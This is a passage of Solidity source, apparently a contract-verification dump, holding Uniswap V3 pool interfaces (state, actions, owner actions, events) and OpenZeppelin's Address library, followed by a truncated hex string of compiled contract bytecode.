@notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101b95760003560e01c806384715b11116100f9578063cc2f609311610097578063d3e703cf11610071578063d3e703cf14610372578063e1fd632e14610385578063f2fde38b14610398578063f7ad5043146103ab576101b9565b8063cc2f60931461034f578063d0645c5114610357578063d26e1dff1461036a576101b9565b8063a845d159116100d3578063a845d1591461030e578063ab1e22c114610321578063b2fb13c214610334578063b30075fc1461033c576101b9565b806384715b11146102e05780638da5cb5b146102f357806393708485146102fb576101b9565b80634fb52c7011610166578063686f38f011610140578063686f38f01461029d5780636a9dc0da146102a55780636aa29881146102b85780636b404955146102cb576101b9565b80634fb52c701461024157806355f57510146102545780635ccfb71d1461027c576101b9565b8063308f1cbc11610197578063308f1cbc146101f95780633c1d5df01461020c57806347628f6014610221576101b9565b806319a44053146101be5780631d27050f146101c857806322dfdd48146101db575b600080fd5b6101c66103be565b005b6101c66101d6366004612eb5565b610456565b6101e36104f1565b6040516101f09190613023565b60405180910390f35b6101c6610207366004612b6e565b610501565b6102146105c8565b6040516101f09190613337565b61023461022f366004612bd3565b6105db565b6040516101f09190612ecf565b6101c661024f366004612e19565b61088f565b6102676102623660046129e6565b6108ee565b6040516101f099989796959493929190613348565b61028f61028a366004612a3a565b610943565b6040516101f0929190613302565b6101e3610ec1565b6101c66102b3366004612a7a565b610ed1565b6101c66102c6366004612c44565b610fe0565b6102d3611185565b6040516101f091906132f9565b6102d36102ee366004612e6c565b61118b565b6102346118c6565b6102d3610309366004612c07565b6118d5565b6101c661031c366004612b28565b611a11565b6101c661032f3660046129e6565b611af8565b6101c6611bc9565b6101c661034a366004612e19565b611c58565b6102d3611cb7565b6101c6610365366004612a02565b611cbd565b6102d3611d85565b6101c6610380366004612b99565b611d8b565b6101c6610393366004612e19565b611e65565b6101c66103a63660046129e6565b611ec4565b6101c66103b93660046129e6565b611f4e565b6002546001600160a01b031633146103f15760405162461bcd60e51b81526004016103e8906131e6565b60405180910390fd5b600280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff8116600160a01b9182900460ff16159091021790556040517f0a70e646460175bd587a4a927917bf6c1574a7baf4dd890e769acd41eaa4696690600090a1565b6002546001600160a01b031633146104805760405162461bcd60e51b81526004016103e8906131e6565b600280547fffffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffff16600160b01b63ffffffff8416021790556040517fa715e512c9ea089998019d7ece21b384bb7161dc3caf500058fdcb05bc4232f8906104e6908390613337565b60405180910390a150565b600254600160a01b900460ff1681565b6002546001600160a01b0316331461052b5760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0382166000908152600160205260409020805483919060ff166105675760405162461bcd60e51b81526004016103e890613254565b6001600160a01b038416600090815260016020526040908190206003810185905590517f56ba7c5dfa587531f3f6c67e9d1407c55558cc9a981350fab2f89e8e4f6904ff906105b99087908790612f7e565b60405180910390a15050505050565b600254600160b01b900463ffffffff1681565b600063ffffffff82166106d857826001600160a01b03166316f0115b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561062157600080fd5b505afa158015610635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106599190612d55565b6001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561069157600080fd5b505afa1580156106a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c99190612d8b565b50949550610889945050505050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061070757fe5b602002602001019063ffffffff16908163ffffffff168152505060008160018151811061073057fe5b602002602001019063ffffffff16908163ffffffff16815250506000846001600160a01b03166316f0115b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561078557600080fd5b505afa158015610799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bd9190612d55565b6001600160a01b031663883bdbfd836040518263ffffffff1660e01b81526004016107e89190612fd9565b60006040518083038186803b15801561080057600080fd5b505afa158015610814573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261083c9190810190612c71565b5090506108848463ffffffff168260008151811061085657fe5b60200260200101518360018151811061086b57fe5b60200260200101510360060b8161087e57fe5b05612011565b925050505b92915050565b6002546001600160a01b031633146108b95760405162461bcd60e51b81526004016103e8906131e6565b60058190556040517fa1e8a7779c35eb2e6161f5b0a5dbf6bcaf16f317d166788bfae1ea33eb210fc0906104e69083906132f9565b6001602052600090815260409020805460028201546003830154600484015460058501546006860154600787015460089097015460ff968716978787169761010090970463ffffffff16969485169490911689565b600080846001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561097f57600080fd5b505afa158015610993573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b79190612d55565b6001600160a01b0316846001600160a01b03161480610a575750846001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0a57600080fd5b505afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190612d55565b6001600160a01b0316846001600160a01b0316145b610a735760405162461bcd60e51b81526004016103e890613065565b60008311610a935760405162461bcd60e51b81526004016103e8906130d3565b600080866001600160a01b031663c4a7761e6040518163ffffffff1660e01b8152600401604080518083038186803b158015610ace57600080fd5b505afa158015610ae2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b069190612e49565b91509150866001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4357600080fd5b505afa158015610b57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7b9190612e31565b1580610b85575081155b80610b8e575080155b15610d125760009350866001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610bd057600080fd5b505afa158015610be4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c089190612d55565b6001600160a01b0316866001600160a01b03161415610c9957866001600160a01b0316634d461fbb6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5a57600080fd5b505afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c929190612e31565b9250610d0d565b866001600160a01b031663648cab856040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd257600080fd5b505afa158015610ce6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0a9190612e31565b92505b610eb7565b600080886001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610d4e57600080fd5b505afa158015610d62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d869190612d55565b6001600160a01b0316886001600160a01b03161415610e1957610dda610db76003548661235090919063ffffffff16565b670de0b6b3a7640000610dd56004548761235090919063ffffffff16565b6123b0565b9150610e12610df46004548661235090919063ffffffff16565b670de0b6b3a7640000610dd56003548761235090919063ffffffff16565b9050610e8a565b610e4f610e316003548561235090919063ffffffff16565b670de0b6b3a7640000610dd56004548861235090919063ffffffff16565b9150610e87610e696004548561235090919063ffffffff16565b670de0b6b3a7640000610dd56003548861235090919063ffffffff16565b90505b610e9d87670de0b6b3a7640000846123b0565b9550610eb287670de0b6b3a7640000836123b0565b945050505b5050935093915050565b600254600160a81b900460ff1681565b6002546001600160a01b03163314610efb5760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0382166000908152600160205260409020805483919060ff16610f375760405162461bcd60e51b81526004016103e890613254565b6001600160a01b0384166000908152600160205260408120905b84518160ff161015610fae576001826001016000878460ff1681518110610f7457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610f51565b507f587820c8cbf51b999284b47677716a04cf5da2568b643ec21ef498bd201baea985856040516105b9929190612efd565b6002546001600160a01b0316331461100a5760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0382166000908152600160205260409020805460ff16156110445760405162461bcd60e51b81526004016103e890613141565b60008260ff16116110675760405162461bcd60e51b81526004016103e89061328b565b805460ff191660ff831617815560408051630dfe168160e01b81529051611107918591600019916001600160a01b03841691630dfe168191600480820192602092909190829003018186803b1580156110bf57600080fd5b505afa1580156110d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f79190612d55565b6001600160a01b0316919061245f565b61114783600019856001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156110bf57600080fd5b7f0ffbdaa00809b1cda17f454a21810d6fb0be19db2adc1be661c5ec0a86a2894c8383604051611178929190612fbd565b60405180910390a1505050565b60035481565b6000600260005414156111e5576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260009081556001600160a01b0383168152600160205260409020805483919060ff166112255760405162461bcd60e51b81526004016103e890613254565b6001600160a01b03851661124b5760405162461bcd60e51b81526004016103e89061309c565b6001600160a01b03841660009081526001602052604090208054600360ff90911610156113455787156113005761130033308a886001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b757600080fd5b505afa1580156112cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ef9190612d55565b6001600160a01b031692919061258c565b861561134557611345333089886001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b757600080fd5b600254600160a01b900460ff16158015611371575033600090815260018201602052604090205460ff16155b80156113825750600881015460ff16155b156114f557871561143e5760008061140b87886001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156113cd57600080fd5b505afa1580156113e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114059190612d55565b8c610943565b9150915081891015801561141f5750808911155b61143b5760405162461bcd60e51b81526004016103e89061302e565b50505b86156114f5576000806114c287886001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561148457600080fd5b505afa158015611498573d6000803e3d6000fd5b505050506040513d601f19601f